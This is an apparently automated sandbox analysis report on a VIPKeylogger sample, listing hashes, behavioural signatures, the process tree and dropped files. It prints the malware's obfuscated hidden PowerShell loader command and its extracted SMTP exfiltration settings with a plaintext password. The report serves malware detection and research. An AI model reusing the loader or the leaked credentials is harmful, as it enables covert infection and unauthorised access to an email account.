Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
14/10/2024, 05:46
Static task
static1
Behavioral task
behavioral1
Sample
Snvlerier.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
Snvlerier.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Eftermles.ps1
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
Eftermles.ps1
Resource
win10v2004-20241007-en
General
- Target Snvlerier.exe
- Size 1.2MB
- Sample241014-gghcssvdpq
- SHA256 6e0230eac8eeadd5214b6d83cc2f470933bee1c4261a607e182a093af14b62cb
- MD5 9970463edf086976996f0bc196fcfc60
- SHA1 22f3132f1456dba3bcc7096d2c10c5635ee08828
- SHA512 bed16bf0f2ad277ac3cf34937e128efbd861472f99c0d1cb36f1bb89f7a5dab64174bc113c707ceee52a2bc39d2546610015edb54c18a076a297ce5ec7d7c7d9
- SSDEEP 24576:voqqHmQ2mlK1Vq4XYV+EYBU0pD1VHTkXQk9duRUrO0SmJ7GtHufK70y:voZmQ7KVVXzEYBUspQQEuROO0Douf+
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
Protocol
smtp
-
Host
smtp.ionos.es
-
Port
587
-
Username
-
Password
pW@4G()=#2
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
smtp.ionos.es
-
Port
587
-
Username
-
Password
pW@4G()=#2
-
Email to
Signatures
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 3104 powershell.exe 1124 powershell.exe - Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe - Blocklisted process makes network request 18 IoCs
flow pid Process 18 4956 msiexec.exe 19 1924 msiexec.exe 21 1924 msiexec.exe 22 4956 msiexec.exe 25 4956 msiexec.exe 24 1924 msiexec.exe 28 4956 msiexec.exe 27 1924 msiexec.exe 30 1924 msiexec.exe 31 4956 msiexec.exe 36 4956 msiexec.exe 38 4956 msiexec.exe 39 1924 msiexec.exe 42 1924 msiexec.exe 44 4956 msiexec.exe 48 1924 msiexec.exe 60 4956 msiexec.exe 63 1924 msiexec.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 17 drive.google.com 18 drive.google.com 19 drive.google.com - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 35 checkip.dyndns.org - Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 4956 msiexec.exe 1924 msiexec.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
pid Process 3104 powershell.exe 1124 powershell.exe 4956 msiexec.exe 1924 msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Snvlerier.exe - Suspicious behavior: EnumeratesProcesses 20 IoCs
pid Process 3104 powershell.exe 1124 powershell.exe 3104 powershell.exe 1124 powershell.exe 1124 powershell.exe 1124 powershell.exe 1124 powershell.exe 1124 powershell.exe 1124 powershell.exe 1124 powershell.exe 3104 powershell.exe 3104 powershell.exe 3104 powershell.exe 3104 powershell.exe 1124 powershell.exe 3104 powershell.exe 4956 msiexec.exe 1924 msiexec.exe 4956 msiexec.exe 1924 msiexec.exe - Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 3104 powershell.exe 1124 powershell.exe - Suspicious use of AdjustPrivilegeToken 46 IoCs
description pid Process Token: SeDebugPrivilege 1124 powershell.exe Token: SeDebugPrivilege 3104 powershell.exe Token: SeIncreaseQuotaPrivilege 1124 powershell.exe Token: SeSecurityPrivilege 1124 powershell.exe Token: SeTakeOwnershipPrivilege 1124 powershell.exe Token: SeLoadDriverPrivilege 1124 powershell.exe Token: SeSystemProfilePrivilege 1124 powershell.exe Token: SeSystemtimePrivilege 1124 powershell.exe Token: SeProfSingleProcessPrivilege 1124 powershell.exe Token: SeIncBasePriorityPrivilege 1124 powershell.exe Token: SeCreatePagefilePrivilege 1124 powershell.exe Token: SeBackupPrivilege 1124 powershell.exe Token: SeRestorePrivilege 1124 powershell.exe Token: SeShutdownPrivilege 1124 powershell.exe Token: SeDebugPrivilege 1124 powershell.exe Token: SeSystemEnvironmentPrivilege 1124 powershell.exe Token: SeRemoteShutdownPrivilege 1124 powershell.exe Token: SeUndockPrivilege 1124 powershell.exe Token: SeManageVolumePrivilege 1124 powershell.exe Token: 33 1124 powershell.exe Token: 34 1124 powershell.exe Token: 35 1124 powershell.exe Token: 36 1124 powershell.exe Token: SeIncreaseQuotaPrivilege 3104 powershell.exe Token: SeSecurityPrivilege 3104 powershell.exe Token: SeTakeOwnershipPrivilege 3104 powershell.exe Token: SeLoadDriverPrivilege 3104 powershell.exe Token: SeSystemProfilePrivilege 3104 powershell.exe Token: SeSystemtimePrivilege 3104 powershell.exe Token: SeProfSingleProcessPrivilege 3104 powershell.exe Token: SeIncBasePriorityPrivilege 3104 powershell.exe Token: SeCreatePagefilePrivilege 3104 powershell.exe Token: SeBackupPrivilege 3104 powershell.exe Token: SeRestorePrivilege 3104 powershell.exe Token: SeShutdownPrivilege 3104 powershell.exe Token: SeDebugPrivilege 3104 powershell.exe Token: SeSystemEnvironmentPrivilege 3104 powershell.exe Token: SeRemoteShutdownPrivilege 3104 powershell.exe Token: SeUndockPrivilege 3104 powershell.exe Token: SeManageVolumePrivilege 3104 powershell.exe Token: 33 3104 powershell.exe Token: 34 3104 powershell.exe Token: 35 3104 powershell.exe Token: 36 3104 powershell.exe Token: SeDebugPrivilege 4956 msiexec.exe Token: SeDebugPrivilege 1924 msiexec.exe - Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 808 wrote to memory of 3104 808 Snvlerier.exe 85 PID 808 wrote to memory of 3104 808 Snvlerier.exe 85 PID 808 wrote to memory of 3104 808 Snvlerier.exe 85 PID 808 wrote to memory of 1124 808 Snvlerier.exe 88 PID 808 wrote to memory of 1124 808 Snvlerier.exe 88 PID 808 wrote to memory of 1124 808 Snvlerier.exe 88 PID 3104 wrote to memory of 4956 3104 powershell.exe 92 PID 3104 wrote to memory of 4956 3104 powershell.exe 92 PID 3104 wrote to memory of 4956 3104 powershell.exe 92 PID 1124 wrote to memory of 1924 1124 powershell.exe 93 PID 1124 wrote to memory of 1924 1124 powershell.exe 93 PID 1124 wrote to memory of 1924 1124 powershell.exe 93 PID 3104 wrote to memory of 4956 3104 powershell.exe 92 PID 1124 wrote to memory of 1924 1124 powershell.exe 93 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Snvlerier.exe"C:\Users\Admin\AppData\Local\Temp\Snvlerier.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:808 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Dictyoceratine=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra';$Ciceronian=$Dictyoceratine.SubString(53398,3);.$Ciceronian($Dictyoceratine)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3104 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4956
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Dictyoceratine=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra';$Ciceronian=$Dictyoceratine.SubString(53398,3);.$Ciceronian($Dictyoceratine)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1924
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199
- Size 854B
- SHA256 a8accfcfeb51bd73df23b91f4d89ff1a9eb7438ef5b12e8afda1a6ff1769e89d
- MD5 e935bc5762068caf3e24a2683b1b8a88
- SHA1 82b70eb774c0756837fe8d7acbfeec05ecbf5463
- SHA512 bed4f6f5357b37662623f1f8afed1a3ebf3810630b2206a0292052a2e754af9dcfe34ee15c289e3d797a8f33330e47c14cbefbc702f74028557ace29bf855f9e
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
- Size 1KB
- SHA256 210a3f1a1bf5c066f9d0fb3fe144402b5ff994d171046d74fca65ae1d71bd324
- MD5 2454d92d7d6e48270b5c280f6832394d
- SHA1 951b8138394fd1f67514623b06d6354c44926580
- SHA512 c644986d372213be2badb280c03ad5a5a3a2a79329def8c2848883b1f1bf0400dac0eb5b4c3ed9edd0a1e3d3645df5cf440df26921c3e41cf0196f991f5e6b04
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6DA548C7E5915679F87E910D6581DEF1_831B21EC05D416A4ADB2370CD79ABCDD
- Size 471B
- SHA256 7d8213945a78172e3efb2b43b89c9e6eb6f01eac7d213a54c5544277ba8220fc
- MD5 cf8cb5a7ab06407d3ad482b4d3d7c926
- SHA1 d840f1f18e42fcd50906a545aa4b3ce023a908a5
- SHA512 836846bee5fde68b30a385eba22485eef21fc14e13aad5241b1ef703d9b81e847493f4bd2a12be5ad081725c68629669c65f122bf44f563351d325f4f6d5b1ac
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C02877841121CC45139CB51404116B25_CFDBFDB29AA6A71EBDC3E04CD6E276F4
- Size 472B
- SHA256 88118ac7d69b2eb0fcc514f89f029112d7c71f0cba3b0b8bd7c835ded49c7a0b
- MD5 d4a29b644fe4dbbfca5a24a38149daa1
- SHA1 faa7e960e3049a39debe420f7ab5ee8ce0de2b32
- SHA512 43de3e44111acc21423f7286c0253f500cc67097c7eac090fdb4ca66682e15bd60f69563539fe6c517e1b0aaad5bb9197e5c70d7d2f21c74ea73dc71b6378adc
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199
- Size 170B
- SHA256 657226359b15aa379c2f78e29ee75437f10fab97aa57908de0bed1a32c32208a
- MD5 675e6babc84e6dc01b570f496edd9ec6
- SHA1 d70efef2a7e909deac3cf6fdba7173e812055a57
- SHA512 4a832fa76ff4c55660e478de092aa85fab7366bdb455aea1e0b25bcc3a50d74453b54dadb8687a307014877df54b7460a26914db95cb926257a7d071f75ff30c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199
- Size 170B
- SHA256 714c0c2a10ffb59ed5544862ccc2dfcb2b4fb328f32804623e2bc05f54e832bc
- MD5 dee117bb5580bb5037891054ac1796b7
- SHA1 17bcc4be102f23b33e1fb88c17cfc4f6202a137c
- SHA512 94e59634963f889c93f8f57e265d509e8dc5145fc44ad3390938c462ea06d76769c166dfe255f5b9c33d32a0de155d103e8b35a92e1570326b3290c292db9891
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
- Size 410B
- SHA256 f96a910f954c5d201b2c3be732e50f34ed444a320be60dee22af299f09aad143
- MD5 3c84dc53391611d9ff876900d07e186d
- SHA1 ecaf9ac6ba42ebc02ab755912909e2324482fa8a
- SHA512 99689c8b0460c938531498f3b1baa84fae9d498651a5740df4a3407d3d0857d76d2dd063b1e9939c1901f55687756a3a33f643ab9c9dc123335831b384651c2b
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
- Size 410B
- SHA256 ef1ad85f4fbbcb53e0a37cc8325ef9485c0aec8d6a807d7f17c91728c47b0152
- MD5 d541c7ecbd51dd428a2da6407cac85d0
- SHA1 c4291443e7fe109789c2834581aba92a1709d174
- SHA512 0356f716f30130254c99a370a9c165c5f0d9987c6eabcebf3f64bc1b65255adc530406345fa8895330c90a6aa8ee2cde86894dfb4d99d4bae37016bf780fd80e
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6DA548C7E5915679F87E910D6581DEF1_831B21EC05D416A4ADB2370CD79ABCDD
- Size 402B
- SHA256 a869120648d6c137bd21fd8c57d257ab5803222cd176c2082a6a178228b352eb
- MD5 bc97eb05a1d4e9f36f1ec3a39d1a6598
- SHA1 78fc67446412e860baa4986a9f5eae85081fa95a
- SHA512 0c0bc0265d235e411f61f87ec11451d1d28e8370802d3317de98472be30936e315f4c26a6328026bed3efe4f1a61673e4fab50a56019a77de054becd438bff2e
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C02877841121CC45139CB51404116B25_CFDBFDB29AA6A71EBDC3E04CD6E276F4
- Size 398B
- SHA256 e14cdd60fbf12118811587975a4f90610de3b1bb55e7f77b26609ef0b17a9549
- MD5 b62527f3c9f3201882d9cfc22238f429
- SHA1 29c06ebc64629ae151f7c4686cc3a455124d6856
- SHA512 86ba996eb5f9b2131ea08161e769de0cdabdace959c2b310b33c269e97c84fa864b46a68929015557ebd37c98eb78030ae03be9b847d6368834149b24778747c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gcl0b4dg.55h.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\carinal\Coracosteon\Ausubo.kno
- Size 293KB
- SHA256 b2432f5cb4dab3bfd81ed9e49aa2e620b185f3202e0057b2dbd16108e1d825a5
- MD5 8beaf2a3c5aa8462b0b405ad4ed8c9a5
- SHA1 56f13e581e2438ce4848316a5482d062502aa956
- SHA512 0191ee306b4edde45a318fa6146656c865cc4c1a682e4720c5768ab9ddc1817f504523535f06f763862a038ade373bb4afbdea1ea06b576d082741e86364ea90
- SSDEEP 6144:jI86lpff3tCgSm4B7hnaVwM8JAaLzbIE2smQC+rdF/5ijgbSGai:b+pAbri5favbF/JF/5imSGai
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\carinal\Coracosteon\Eftermles.Tra
- Size 52KB
- SHA256 bd0e151a557b61a444bb30970b0ac73cdae213addba8b30f0d04231e59b81d00
- MD5 0bd036116e386ad4087ee98b7e9b202b
- SHA1 8fa72b8d7863e783966744a27aa859a01a0f023b
- SHA512 6b024cc20a52c6e9b853114549d3edc0af400b76f918cd2667653936a51af78e57e0bb41945683e823e85b5a8cf99ff8db290874bb48619610d6530f125269a7
- SSDEEP 768:iCSkeNeDpS/zxwceiKuHkzJlnBK0VI05dsjQy8wJ1Asd/vqN/5xhSmDC3GER08yZ:gwSOTZG9EstvqHHBFLwgWA8skWakl
- MD5 SHA1 SHA512 SSDEEP